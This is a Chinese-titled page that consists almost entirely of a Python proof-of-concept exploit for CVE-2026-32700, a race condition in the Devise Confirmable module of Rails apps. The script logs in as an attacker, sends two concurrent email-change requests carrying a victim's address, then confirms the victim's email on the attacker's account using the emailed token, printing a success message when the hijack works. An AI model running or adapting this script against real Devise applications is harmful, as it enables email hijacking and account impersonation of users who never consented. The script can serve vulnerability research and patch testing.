CVE-2026-32700 Devise Confirmable竞态条件邮箱劫持漏洞

# CVE-2026-32700 PoC - Devise Confirmable Race Condition # This PoC demonstrates the race condition in Devise's Confirmable module # that allows attackers to confirm email addresses they don't own. import requests import threading import time TARGET_URL = "https://vulnerable-app.com" ATTACKER_EMAIL = "[email protected]" VICTIM_EMAIL = "[email protected]" def send_concurrent_email_change(): """ Send two concurrent email change requests. The race condition occurs when both requests are processed simultaneously, causing desynchronization between confirmation_token and unconfirmed_email. """ session = requests.Session() # Login as authenticated user (attacker) login_data = { "user[email]": ATTACKER_EMAIL, "user[password]": "attacker_password" } session.post(f"{TARGET_URL}/users/sign_in", data=login_data) # Define the email change request change_data = { "user[email]": ATTACKER_EMAIL, "user[unconfirmed_email]": VICTIM_EMAIL # Target victim's email } # Send concurrent requests to trigger race condition threads = [] for i in range(2): t = threading.Thread(target=lambda: session.put( f"{TARGET_URL}/users", data=change_data, headers={"X-Requested-With": "XMLHttpRequest"} )) threads.append(t) # Start all threads simultaneously for t in threads: t.start() # Wait for completion for t in threads: t.join() print("Concurrent requests sent. Check attacker's email for confirmation token.") def confirm_with_stolen_token(token): """ Use the confirmation token received in attacker's email to confirm the victim's email on attacker's account. """ session = requests.Session() session.get(f"{TARGET_URL}/users/confirmation?confirmation_token={token}") # Verify the hijacked email response = session.get(f"{TARGET_URL}/users/edit") if VICTIM_EMAIL in response.text: print("SUCCESS: Victim's email confirmed on attacker's account!") return True return False if __name__ == "__main__": print("CVE-2026-32700 PoC - Devise Confirmable Race Condition") print("=" * 60) send_concurrent_email_change()